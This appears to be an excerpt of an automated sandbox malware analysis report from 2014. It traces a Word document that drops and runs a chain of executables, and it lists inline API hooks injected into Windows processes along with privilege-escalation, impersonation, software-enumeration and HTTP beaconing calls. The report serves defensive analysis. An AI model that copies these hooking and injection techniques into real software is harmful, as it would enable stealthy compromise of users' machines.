DefDlgProcWINLINE0xE9 0x92 0x2A 0xA8 0x84 0x45
DefWindowProcAINLINE0xE9 0x9A 0xA0 0x0F 0xFF 0xF5
GetClipboardDataINLINE0xE9 0x92 0x23 0x37 0x79 0x95
OpenInputDesktopINLINE0xE9 0x9C 0xCA 0xAD 0xD3 0x35
PeekMessageAINLINE0xE9 0x9F 0xF5 0x52 0x2E 0xE5
PeekMessageWINLINE0xE9 0x96 0x6F 0xF3 0x3F 0xF6
RegisterClassWINLINE0xE9 0x94 0x42 0x22 0x20 0x06
RegisterClassAINLINE0xE9 0x9C 0xCF 0xFD 0xD9 0x95
GetWindowDCINLINE0xE9 0x93 0x33 0x3B 0xB8 0x85
ReleaseDCINLINE0xE9 0x9F 0xF6 0x6C 0xC1 0x15
SetCaptureINLINE0xE9 0x91 0x13 0x30 0x0D 0xD5
DefMDIChildProcAINLINE0xE9 0x91 0x14 0x4C 0xC9 0x95
DefMDIChildProcWINLINE0xE9 0x93 0x3B 0xBB 0xB8 0x85
DefFrameProcAINLINE0xE9 0x9D 0xD4 0x4C 0xC8 0x85
DefFrameProcWINLINE0xE9 0x9B 0xBD 0xDB 0xB9 0x95
RegisterClassExWINLINE0xE9 0x9F 0xFF 0xF1 0x14 0x46
TranslateMessageINLINE0xE9 0x97 0x7A 0xAF 0xF9 0x95
BeginPaintINLINE0xE9 0x92 0x24 0x4B 0xB7 0x75
RegisterClassExAINLINE0xE9 0x99 0x9A 0xA4 0x48 0x85
GetCursorPosINLINE0xE9 0x99 0x9F 0xF3 0x38 0x85
GetMessagePosINLINE0xE9 0x94 0x4F 0xF3 0x36 0x65
SwitchDesktopINLINE0xE9 0x94 0x4C 0xCC 0xC2 0x25
SetCursorPosINLINE0xE9 0x98 0x81 0x16 0x6E 0xE5
ReleaseCaptureINLINE0xE9 0x95 0x51 0x10 0x0D 0xD5
Process: reader_sl.exe, Module: ntdll.dll
Function NameHook TypeNew Data
ZwCreateThreadINLINE0xE9 0x9C 0xC7 0x79 0x94 0x41
NtCreateThreadINLINE0xE9 0x9C 0xC7 0x79 0x94 0x41
Process: wscntfy.exe, Module: ntdll.dll
Function NameHook TypeNew Data
ZwCloseINLINE0x68 0x8B 0xBA 0xA8 0x89 0x9A
NtCloseINLINE0x68 0x8B 0xBA 0xA8 0x89 0x9A
Process: ctfmon.exe, Module: USER32.dll
Function NameHook TypeNew Data
GetUpdateRectINLINE0xE9 0x90 0x0A 0xAA 0xA0 0x06
CallWindowProcAINLINE0xE9 0x9D 0xDA 0xA1 0x19 0x96
CallWindowProcWINLINE0xE9 0x9F 0xF0 0x02 0x22 0x26
EndPaintINLINE0xE9 0x97 0x7D 0xDB 0xB7 0x76
GetUpdateRgnINLINE0xE9 0x97 0x71 0x15 0x53 0x36
GetDCExINLINE0xE9 0x92 0x25 0x58 0x82 0x26
GetCaptureINLINE0xE9 0x94 0x41 0x13 0x3C 0xC6
DefWindowProcWINLINE0xE9 0x9B 0xB8 0x83 0x33 0x36
GetMessageAINLINE0xE9 0x9B 0xB7 0x75 0x5A 0xA6
GetMessageWINLINE0xE9 0x9F 0xF4 0x43 0x3F 0xF6
DefDlgProcAINLINE0xE9 0x93 0x33 0x3D 0xDC 0xC6
GetDCINLINE0xE9 0x94 0x4E 0xEC 0xC1 0x16
DefDlgProcWINLINE0xE9 0x92 0x2A 0xA8 0x84 0x46
DefWindowProcAINLINE0xE9 0x9A 0xA0 0x0F 0xFF 0xF6
GetClipboardDataINLINE0xE9 0x92 0x23 0x37 0x79 0x96
OpenInputDesktopINLINE0xE9 0x9C 0xCA 0xAD 0xD3 0x36
PeekMessageAINLINE0xE9 0x9F 0xF5 0x52 0x2E 0xE6
PeekMessageWINLINE0xE9 0x96 0x6F 0xF3 0x3F 0xF6
RegisterClassWINLINE0xE9 0x94 0x42 0x22 0x20 0x06
RegisterClassAINLINE0xE9 0x9C 0xCF 0xFD 0xD9 0x96
GetWindowDCINLINE0xE9 0x93 0x33 0x3B 0xB8 0x86
ReleaseDCINLINE0xE9 0x9F 0xF6 0x6C 0xC1 0x16
SetCaptureINLINE0xE9 0x91 0x13 0x30 0x0D 0xD6
DefMDIChildProcAINLINE0xE9 0x91 0x14 0x4C 0xC9 0x96
DefMDIChildProcWINLINE0xE9 0x93 0x3B 0xBB 0xB8 0x86
DefFrameProcAINLINE0xE9 0x9D 0xD4 0x4C 0xC8 0x86
DefFrameProcWINLINE0xE9 0x9B 0xBD 0xDB 0xB9 0x96
RegisterClassExWINLINE0xE9 0x9F 0xFF 0xF1 0x14 0x46
TranslateMessageINLINE0xE9 0x97 0x7A 0xAF 0xF9 0x96
BeginPaintINLINE0xE9 0x92 0x24 0x4B 0xB7 0x76
RegisterClassExAINLINE0xE9 0x99 0x9A 0xA4 0x48 0x86
GetCursorPosINLINE0xE9 0x99 0x9F 0xF3 0x38 0x86
GetMessagePosINLINE0xE9 0x94 0x4F 0xF3 0x36 0x66
SwitchDesktopINLINE0xE9 0x94 0x4C 0xCC 0xC2 0x26
SetCursorPosINLINE0xE9 0x98 0x81 0x16 0x6E 0xE6
ReleaseCaptureINLINE0xE9 0x95 0x51 0x10 0x0D 0xD6
Process: ctfmon.exe, Module: kernel32.dll
Function NameHook TypeNew Data
GetFileAttributesExWINLINE0xE9 0x97 0x71 0x15 0x57 0x72
Process: ctfmon.exe, Module: ntdll.dll
Function NameHook TypeNew Data
ZwCreateThreadINLINE0xE9 0x9C 0xC7 0x79 0x94 0x41
NtCreateThreadINLINE0xE9 0x9C 0xC7 0x79 0x94 0x41

System Behavior

Analysis Process: WINWORD.EXE PID: 216 Parent PID: 1584

General

Start time:11:24:31
Start date:08/08/2014
Path:C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE
Wow64 process (32bit):false
Commandline:unknown
Imagebase:0x30000000
File size:12047560 bytes
MD5 hash:5FEAF6AB43AA477597F9F8DB0E8CB69C

Chronological Activities

Analysis Process: svchost.exe PID: 1252 Parent PID: 664

General

Start time:11:24:32
Start date:08/08/2014
Path:C:\WINDOWS\system32\svchost.exe
Wow64 process (32bit):false
Commandline:unknown
Imagebase:0x1000000
File size:14336 bytes
MD5 hash:27C6D03BCDB8CFEB96B716F3D8BE3E18

Chronological Activities

Analysis Process: ZwGuKEMphiZgNT.com PID: 1640 Parent PID: 216

General

Start time:11:25:54
Start date:08/08/2014
Path:C:\Documents and Settings\Administrator\ZwGuKEMphiZgNT.com
Wow64 process (32bit):false
Commandline:ZwGuKEMphiZgNT.com
Imagebase:0x400000
File size:51712 bytes
MD5 hash:2728887EBB406A0FCE1BF901B2B23418

Chronological Activities

Analysis Process: 3463226.exe PID: 1652 Parent PID: 1640

General

Start time:11:26:11
Start date:08/08/2014
Path:C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exe
Wow64 process (32bit):false
Commandline:C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\3463226.exe
Imagebase:0x400000
File size:418304 bytes
MD5 hash:33E9C84EB21E020B0011915D010D3B08

Chronological Activities

Analysis Process: gonuu.exe PID: 212 Parent PID: 1652

General

Start time:11:26:14
Start date:08/08/2014
Path:C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exe
Wow64 process (32bit):false
Commandline:C:\Documents and Settings\Administrator\Application Data\Ytalg\gonuu.exe
Imagebase:0x400000
File size:418304 bytes
MD5 hash:AF1EAE6571501D509A0F1FB43328C405

Chronological Activities

Analysis Process: explorer.exe PID: 1496 Parent PID: 212

General

Start time:11:26:14
Start date:08/08/2014
Path:C:\WINDOWS\explorer.exe
Wow64 process (32bit):false
Commandline:C:\WINDOWS\Explorer.EXE
Imagebase:0x1000000
File size:1033728 bytes
MD5 hash:12896823FB95BFB3DC9B46BCAEDC9923

Chronological Activities

Analysis Process: reader_sl.exe PID: 1744 Parent PID: 212

General

Start time:11:26:15
Start date:08/08/2014
Path:C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exe
Wow64 process (32bit):false
Commandline:C:\Program Files\Adobe\Reader 8.0\Reader\Reader_sl.exe
Imagebase:0x400000
File size:39792 bytes
MD5 hash:8B9145D229D4E89D15ACB820D4A3A90F

Chronological Activities

Analysis Process: ctfmon.exe PID: 1756 Parent PID: 212

General

Start time:11:26:15
Start date:08/08/2014
Path:C:\WINDOWS\system32\ctfmon.exe
Wow64 process (32bit):false
Commandline:C:\WINDOWS\system32\ctfmon.exe
Imagebase:0x400000
File size:15360 bytes
MD5 hash:5F1D5F88303D4A4DBC8E5F97BA967CC3

Chronological Activities

Analysis Process: wscntfy.exe PID: 1796 Parent PID: 212

General

Start time:11:26:16
Start date:08/08/2014
Path:C:\WINDOWS\system32\wscntfy.exe
Wow64 process (32bit):false
Commandline:C:\WINDOWS\system32\wscntfy.exe
Imagebase:0x1000000
File size:13824 bytes
MD5 hash:F92E1076C42FCD6DB3D72D8CFE9816D5

Analysis Process: cmd.exe PID: 756 Parent PID: 1652

General

Start time:11:26:17
Start date:08/08/2014
Path:C:\WINDOWS\system32\cmd.exe
Wow64 process (32bit):false
Commandline:C:\WINDOWS\system32\cmd.exe /c C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\tmp17a7aa60.bat
Imagebase:0x4ad00000
File size:389120 bytes
MD5 hash:6D778E0F95447E6546553EEEA709D03C

Chronological Activities

Disassembly

Code Analysis

< >

    Analysis Process: WINWORD.EXE PID: 216 Parent PID: 1584

    Executed Functions

    Function 0034000C, Relevance: 1.8, Strings: 1, Instructions: 521
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.715106979.00340000.00000020.sdmp, Offset: 00340000, based on PE: false
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_WINWORD.1.2.jbxd

    Non-executed Functions

    Analysis Process: svchost.exe PID: 1252 Parent PID: 664

    Executed Functions

    Non-executed Functions

    Analysis Process: ZwGuKEMphiZgNT.com PID: 1640 Parent PID: 216

    Executed Functions

    Function 0040280F, Relevance: 7.6, APIs: 5, Instructions: 61
    APIs
    • LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 0040284A
    • GetCurrentProcess.KERNEL32 ref: 00402854
    • OpenProcessToken.ADVAPI32(?,00000020,00000000), ref: 00402862
    • AdjustTokenPrivileges.ADVAPI32(00000000,00000000,?,00000010,00000000,00000000), ref: 004028A4
    • CloseHandle.KERNEL32(00000000), ref: 004028B8
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00402D3C, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 66
    APIs
    • CreateProcessAsUserA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000400,00000000,00000000,00000044,?), ref: 00402DCE
    • ShellExecuteA.SHELL32(00000000,open,00000000,00000000,00000000,0000000A), ref: 00402DFB
    Strings
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00404A95, Relevance: 4.5, APIs: 3, Instructions: 31
    APIs
    • OleInitialize.OLE32(00000000), ref: 00404A97
    • OleInitialize.OLE32 ref: 00404A9C
      • Part of subcall function 00402AAD: GetCurrentProcess.KERNEL32 ref: 00402AE9
      • Part of subcall function 00402AAD: OpenProcessToken.ADVAPI32(?,00000008,?), ref: 00402AF5
      • Part of subcall function 00402AAD: GetTokenInformation.ADVAPI32(?,00000001,00000000,00000000,00000000), ref: 00402B17
      • Part of subcall function 00402AAD: GetLastError.KERNEL32(?,00000008,?,00402AC7), ref: 00402B21
      • Part of subcall function 00402AAD: GetTokenInformation.ADVAPI32(?,00000001,?,00000000,00000000), ref: 00402B4B
      • Part of subcall function 00402AAD: ConvertSidToStringSidA.ADVAPI32(?,?), ref: 00402B5F
      • Part of subcall function 00402AAD: lstrcmpA.KERNEL32(?,S-1-5-18,?,?,?,00000008,?,00402AC7), ref: 00402B71
      • Part of subcall function 00402AAD: LocalFree.KERNEL32(?), ref: 00402B7E
      • Part of subcall function 00402AAD: CloseHandle.KERNEL32(?), ref: 00402B8E
      • Part of subcall function 0040182A: LocalAlloc.KERNEL32(00000040,C#@), ref: 00401838
    • GetUserNameA.ADVAPI32(?,00000101), ref: 00404AEA
      • Part of subcall function 00401F51: RegOpenKeyA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall,?), ref: 00401FBE
      • Part of subcall function 00401F51: RegEnumKeyExA.ADVAPI32(?,00000000,?,00000FFF,00000000,00000000,00000000,00000000), ref: 00401FFE
      • Part of subcall function 00401F51: lstrlenA.KERNEL32(?,?,?,?,?,00000000,?,00000FFF,00000000,00000000,00000000,00000000), ref: 004020B1
      • Part of subcall function 00401F51: lstrlenA.KERNEL32(?,?,?,00000000,?,00000FFF,00000000,00000000,00000000,00000000), ref: 004020EA
      • Part of subcall function 00401F51: RegCloseKey.ADVAPI32(?), ref: 00402121
      • Part of subcall function 00401F51: GetHGlobalFromStream.OLE32(?,?), ref: 0040214D
      • Part of subcall function 00401F51: GlobalLock.KERNEL32(?), ref: 0040217D
      • Part of subcall function 00401F51: GlobalUnlock.KERNEL32(?), ref: 0040219C
      • Part of subcall function 00401F51: GetHGlobalFromStream.OLE32(?,?), ref: 004021AE
      • Part of subcall function 00401F51: GlobalLock.KERNEL32(?), ref: 004021DE
      • Part of subcall function 00401F51: GlobalUnlock.KERNEL32(?), ref: 004021FD
      • Part of subcall function 00402FB6: GetTickCount.KERNEL32 ref: 00402FB6
      • Part of subcall function 00401813: LocalFree.KERNEL32(00000000), ref: 0040181F
      • Part of subcall function 00402B98: WTSGetActiveConsoleSessionId.KERNEL32 ref: 00402BE2
      • Part of subcall function 00402B98: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00402BF9
      • Part of subcall function 00402B98: Process32First.KERNEL32(?,00000128), ref: 00402C1A
      • Part of subcall function 00402B98: StrStrIA.SHLWAPI(?,explorer.exe), ref: 00402C33
      • Part of subcall function 00402B98: ProcessIdToSessionId.KERNEL32(?,00000000), ref: 00402C57
      • Part of subcall function 00402B98: OpenProcess.KERNEL32(02000000,00000000,?), ref: 00402C81
      • Part of subcall function 00402B98: OpenProcessToken.ADVAPI32(?,000201EB,?), ref: 00402C9D
      • Part of subcall function 00402B98: ImpersonateLoggedOnUser.ADVAPI32(?), ref: 00402CAA
      • Part of subcall function 00402B98: RegOpenCurrentUser.ADVAPI32(000F003F,00000000), ref: 00402CCB
      • Part of subcall function 00402B98: CloseHandle.KERNEL32(?), ref: 00402CFC
      • Part of subcall function 00402B98: CloseHandle.KERNEL32(?), ref: 00402D04
      • Part of subcall function 00402B98: CloseHandle.KERNEL32(?), ref: 00402D0E
      • Part of subcall function 00402B98: Process32Next.KERNEL32(?,00000128), ref: 00402D20
      • Part of subcall function 00402B98: CloseHandle.KERNEL32(?), ref: 00402D30
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 0040236E, Relevance: 3.0, APIs: 2, Instructions: 47
    APIs
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 0040289D, Relevance: 174.2, APIs: 116, Instructions: 239
    APIs
    • InitializeCriticalSection.KERNEL32(0040AD0D), ref: 004028AC
    • CloseHandle.KERNEL32(0040ABB3), ref: 004028B7
    • InitializeCriticalSection.KERNEL32(0040A99F), ref: 004028C2
    • InitializeCriticalSection.KERNEL32(0040B283), ref: 004028CD
    • InitializeCriticalSection.KERNEL32(0040B173), ref: 004028D8
    • InitializeCriticalSection.KERNEL32(0040A9D8), ref: 004028E3
    • InitializeCriticalSection.KERNEL32(0040AA97), ref: 004028EE
    • InitializeCriticalSection.KERNEL32(0040B067), ref: 004028F9
    • InitializeCriticalSection.KERNEL32(0040A391), ref: 00402904
    • InitializeCriticalSection.KERNEL32(0040A322), ref: 0040290F
    • InitializeCriticalSection.KERNEL32(0040A2C6), ref: 0040291A
    • InitializeCriticalSection.KERNEL32(00407A4A), ref: 00402925
    • InitializeCriticalSection.KERNEL32(0040A195), ref: 00402930
    • InitializeCriticalSection.KERNEL32(00407A72), ref: 0040293B
    • InitializeCriticalSection.KERNEL32(0040AA37), ref: 00402946
    • InitializeCriticalSection.KERNEL32(0040A260), ref: 00402951
    • InitializeCriticalSection.KERNEL32(0040B133), ref: 0040295C
    • InitializeCriticalSection.KERNEL32(00405000), ref: 00402967
    • InitializeCriticalSection.KERNEL32(00405020), ref: 00402972
    • InitializeCriticalSection.KERNEL32(0040AA57), ref: 0040297D
    • InitializeCriticalSection.KERNEL32(0040B33D), ref: 00402988
    • InitializeCriticalSection.KERNEL32(0040A3F1), ref: 00402993
    • InitializeCriticalSection.KERNEL32(0040783B), ref: 0040299E
    • InitializeCriticalSection.KERNEL32(004078B4), ref: 004029A9
    • InitializeCriticalSection.KERNEL32(0040B310), ref: 004029B4
    • InitializeCriticalSection.KERNEL32(0040B2A3), ref: 004029BF
    • InitializeCriticalSection.KERNEL32(0040A205), ref: 004029CA
    • InitializeCriticalSection.KERNEL32(004078E2), ref: 004029D5
    • InitializeCriticalSection.KERNEL32(0040A958), ref: 004029E0
    • InitializeCriticalSection.KERNEL32(00405085), ref: 004029EB
    • InitializeCriticalSection.KERNEL32(0040B263), ref: 004029F6
    • InitializeCriticalSection.KERNEL32(00407947), ref: 00402A01
    • InitializeCriticalSection.KERNEL32(0040ADB4), ref: 00402A0C
    • InitializeCriticalSection.KERNEL32(0040B087), ref: 00402A17
    • InitializeCriticalSection.KERNEL32(0040B03D), ref: 00402A22
    • InitializeCriticalSection.KERNEL32(0040B0F6), ref: 00402A2D
    • InitializeCriticalSection.KERNEL32(004050A5), ref: 00402A38
    • InitializeCriticalSection.KERNEL32(004050E2), ref: 00402A43
    • InitializeCriticalSection.KERNEL32(0040AFB9), ref: 00402A4E
    • InitializeCriticalSection.KERNEL32(0040A240), ref: 00402A59
    • InitializeCriticalSection.KERNEL32(0040AED9), ref: 00402A64
    • InitializeCriticalSection.KERNEL32(0040ADD4), ref: 00402A6F
    • InitializeCriticalSection.KERNEL32(0040A3D1), ref: 00402A7A
    • InitializeCriticalSection.KERNEL32(0040AB17), ref: 00402A85
    • InitializeCriticalSection.KERNEL32(0040A88E), ref: 00402A90
    • InitializeCriticalSection.KERNEL32(0040AEB9), ref: 00402A9B
    • InitializeCriticalSection.KERNEL32(0040A14F), ref: 00402AA6
    • InitializeCriticalSection.KERNEL32(004079EA), ref: 00402AB1
    • InitializeCriticalSection.KERNEL32(0040AF3F), ref: 00402ABC
    • InitializeCriticalSection.KERNEL32(0040B2F0), ref: 00402AC7
    • InitializeCriticalSection.KERNEL32(0040AE99), ref: 00402AD2
    • InitializeCriticalSection.KERNEL32(00405040), ref: 00402ADD
    • InitializeCriticalSection.KERNEL32(0040B153), ref: 00402AE8
    • InitializeCriticalSection.KERNEL32(0040A97F), ref: 00402AF3
    • InitializeCriticalSection.KERNEL32(0040AA77), ref: 00402AFE
    • InitializeCriticalSection.KERNEL32(0040A8D8), ref: 00402B09
    • InitializeCriticalSection.KERNEL32(0040AC33), ref: 00402B14
    • InitializeCriticalSection.KERNEL32(00407A2A), ref: 00402B1F
    • InitializeCriticalSection.KERNEL32(00407994), ref: 00402B2A
    • InitializeCriticalSection.KERNEL32(0040A371), ref: 00402B35
    • InitializeCriticalSection.KERNEL32(0040AE54), ref: 00402B40
    • GetTokenInformation.ADVAPI32(004079C0), ref: 00402B4B
    • InitializeCriticalSection.KERNEL32(0040510D), ref: 00402B56
    • InitializeCriticalSection.KERNEL32(0040AE34), ref: 00402B61
    • InitializeCriticalSection.KERNEL32(0040B223), ref: 00402B6C
    • InitializeCriticalSection.KERNEL32(0040A2E6), ref: 00402B77
    • InitializeCriticalSection.KERNEL32(00407885), ref: 00402B82
    • CloseHandle.KERNEL32(0040A351), ref: 00402B8D
    • InitializeCriticalSection.KERNEL32(0040AAB7), ref: 00402B98
    • InitializeCriticalSection.KERNEL32(00407A0A), ref: 00402BA3
    • InitializeCriticalSection.KERNEL32(0040ACAD), ref: 00402BAE
    • InitializeCriticalSection.KERNEL32(0040B1B3), ref: 00402BB9
    • InitializeCriticalSection.KERNEL32(0040B01D), ref: 00402BC4
    • InitializeCriticalSection.KERNEL32(0040A280), ref: 00402BCF
    • InitializeCriticalSection.KERNEL32(0040AB77), ref: 00402BDA
    • InitializeCriticalSection.KERNEL32(0040AAD7), ref: 00402BE5
    • InitializeCriticalSection.KERNEL32(0040A416), ref: 00402BF0
    • InitializeCriticalSection.KERNEL32(0040AC53), ref: 00402BFB
    • InitializeCriticalSection.KERNEL32(00407865), ref: 00402C06
    • InitializeCriticalSection.KERNEL32(0040A3B1), ref: 00402C11
    • InitializeCriticalSection.KERNEL32(0040ACCD), ref: 00402C1C
    • InitializeCriticalSection.KERNEL32(0040AFF2), ref: 00402C27
    • InitializeCriticalSection.KERNEL32(0040B203), ref: 00402C32
    • InitializeCriticalSection.KERNEL32(0040AE74), ref: 00402C3D
    • InitializeCriticalSection.KERNEL32(0040B193), ref: 00402C48
    • InitializeCriticalSection.KERNEL32(0040AF5F), ref: 00402C53
    • InitializeCriticalSection.KERNEL32(0040B2C3), ref: 00402C5E
    • InitializeCriticalSection.KERNEL32(0040A436), ref: 00402C69
    • InitializeCriticalSection.KERNEL32(0040AB4C), ref: 00402C74
    • InitializeCriticalSection.KERNEL32(0040B0C7), ref: 00402C7F
    • InitializeCriticalSection.KERNEL32(00405065), ref: 00402C8A
    • InitializeCriticalSection.KERNEL32(0040A1D5), ref: 00402C95
    • InitializeCriticalSection.KERNEL32(0040A1B5), ref: 00402CA0
    • InitializeCriticalSection.KERNEL32(0040B1D3), ref: 00402CAB
    • InitializeCriticalSection.KERNEL32(0040AD3B), ref: 00402CB6
    • InitializeCriticalSection.KERNEL32(0040A918), ref: 00402CC1
    • InitializeCriticalSection.KERNEL32(0040ADF4), ref: 00402CCC
    • InitializeCriticalSection.KERNEL32(0040A8F8), ref: 00402CD7
    • InitializeCriticalSection.KERNEL32(0040B243), ref: 00402CE2
    • InitializeCriticalSection.KERNEL32(00407815), ref: 00402CED
    • InitializeCriticalSection.KERNEL32(0040A46E), ref: 00402CF8
    • InitializeCriticalSection.KERNEL32(0040AC13), ref: 00402D03
    • InitializeCriticalSection.KERNEL32(0040A938), ref: 00402D0E
    • InitializeCriticalSection.KERNEL32(0040AA00), ref: 00402D19
    • InitializeCriticalSection.KERNEL32(004077EB), ref: 00402D24
    • InitializeCriticalSection.KERNEL32(0040ABD3), ref: 00402D2F
    • InitializeCriticalSection.KERNEL32(0040AD83), ref: 00402D3A
    • InitializeCriticalSection.KERNEL32(0040796D), ref: 00402D45
    • InitializeCriticalSection.KERNEL32(0040ABF3), ref: 00402D50
    • InitializeCriticalSection.KERNEL32(0040AF1F), ref: 00402D5B
    • InitializeCriticalSection.KERNEL32(0040AE14), ref: 00402D66
    • InitializeCriticalSection.KERNEL32(0040ACED), ref: 00402D71
    • InitializeCriticalSection.KERNEL32(0040AAF7), ref: 00402D7C
    • InitializeCriticalSection.KERNEL32(0040B0A7), ref: 00402D87
    • InitializeCriticalSection.KERNEL32(0040AC8D), ref: 00402D92
    • InitializeCriticalSection.KERNEL32(0040AF7F), ref: 00402D9D
    Memory Dump Source
    • Source File: 00000004.00000000.563878800.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000000.563870858.00400000.00000002.sdmp
    • Associated: 00000004.00000000.563885593.00404000.00000008.sdmp
    • Associated: 00000004.00000000.563896670.0040C000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_0_ZwGuKEMphiZgNT.jbxd
    Function 00401F51, Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 172
    APIs
    • RegOpenKeyA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall,?), ref: 00401FBE
    • RegEnumKeyExA.ADVAPI32(?,00000000,?,00000FFF,00000000,00000000,00000000,00000000), ref: 00401FFE
    • RegCloseKey.ADVAPI32(?), ref: 00402121
      • Part of subcall function 00401C8E: lstrlenA.KERNEL32(?), ref: 00401CAF
      • Part of subcall function 00401C8E: lstrlenA.KERNEL32(00000000,?), ref: 00401CB9
      • Part of subcall function 00401C8E: lstrcpyA.KERNEL32(?,?,?,00000000,?), ref: 00401CCD
      • Part of subcall function 00401C8E: lstrcatA.KERNEL32(?,00000000,?,?,?,00000000,?), ref: 00401CD6
      • Part of subcall function 00401CE2: lstrlenA.KERNEL32(?), ref: 00401D03
      • Part of subcall function 00401CE2: lstrlenA.KERNEL32(00000000,?), ref: 00401D0D
      • Part of subcall function 00401CE2: lstrcpyA.KERNEL32(?,?,?,00000000,?), ref: 00401D21
      • Part of subcall function 00401CE2: lstrcatA.KERNEL32(?,00000000,?,?,?,00000000,?), ref: 00401D2A
    • lstrlenA.KERNEL32(?,?,?,?,?,00000000,?,00000FFF,00000000,00000000,00000000,00000000), ref: 004020B1
    • lstrlenA.KERNEL32(?,?,?,00000000,?,00000FFF,00000000,00000000,00000000,00000000), ref: 004020EA
      • Part of subcall function 00401813: LocalFree.KERNEL32(00000000), ref: 0040181F
    • GetHGlobalFromStream.OLE32(?,?), ref: 0040214D
    • GlobalLock.KERNEL32(?), ref: 0040217D
    • GlobalUnlock.KERNEL32(?), ref: 0040219C
    • GetHGlobalFromStream.OLE32(?,?), ref: 004021AE
      • Part of subcall function 0040182A: LocalAlloc.KERNEL32(00000040,C#@), ref: 00401838
    • GlobalLock.KERNEL32(?), ref: 004021DE
    • GlobalUnlock.KERNEL32(?), ref: 004021FD
    Strings
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00403B4A, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 135
    APIs
      • Part of subcall function 0040182A: LocalAlloc.KERNEL32(00000040,C#@), ref: 00401838
    • InternetCrackUrlA.WININET(?,00000000,80000000,0000003C), ref: 00403BCA
    • InternetCreateUrlA.WININET(0000003C,80000000,?,00001FFF), ref: 00403BF5
    • InternetCrackUrlA.WININET(?,00000000,00000000,0000003C), ref: 00403C3C
    • ObtainUserAgentString.URLMON(00000000,?,00002000), ref: 00403C59
    • wsprintfA.USER32(?,GET %s HTTP/1.0Host: %sAccept-Language: en-USAccept: */*Accept-Encoding: identity, *;q=0Connection: closeUser-Agent: %s,?,?,?,?,00000000,00000000,0000003C,?,?,?,00002000,00002000,00002000,00002000), ref: 00403C73
    • wsprintfA.USER32(?,GET %s HTTP/1.0Host: %sAccept-Language: en-USAccept: */*Accept-Encoding: identity, *;q=0Connection: closeUser-Agent: %s,?,?,Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/5.0),?,00000000,00000000,0000003C,?,?,?,00002000,00002000,00002000,00002000), ref: 00403C90
      • Part of subcall function 004036C5: socket.WSOCK32(00000002,00000001,00000006), ref: 004036D4
      • Part of subcall function 004036C5: connect.WSOCK32(?,00000002,00000010,00000002,00000001,00000006), ref: 00403730
      • Part of subcall function 004036C5: closesocket.WSOCK32(?,?,00000002,00000010,00000002,00000001,00000006), ref: 0040373B
    • lstrlenA.KERNEL32(?,00002000,00002000,00002000), ref: 00403CB3
      • Part of subcall function 00403749: send.WSOCK32(?,?,00000000,00000000), ref: 00403770
      • Part of subcall function 0040393D: StrStrIA.SHLWAPI(?,Content-Length:), ref: 004039C3
      • Part of subcall function 0040393D: lstrlenA.KERNEL32(Content-Length:,00000000,?,Content-Length:), ref: 004039D4
      • Part of subcall function 0040393D: StrToIntA.SHLWAPI ref: 004039F5
      • Part of subcall function 0040393D: StrStrIA.SHLWAPI(?,Location:), ref: 00403A0C
      • Part of subcall function 0040393D: lstrlenA.KERNEL32(Location:,00000000,?,Location:,?,Content-Length:), ref: 00403A1D
    • closesocket.WSOCK32(?,?,00002000,00002000,00002000), ref: 00403CDD
      • Part of subcall function 00401813: LocalFree.KERNEL32(00000000), ref: 0040181F
    Strings
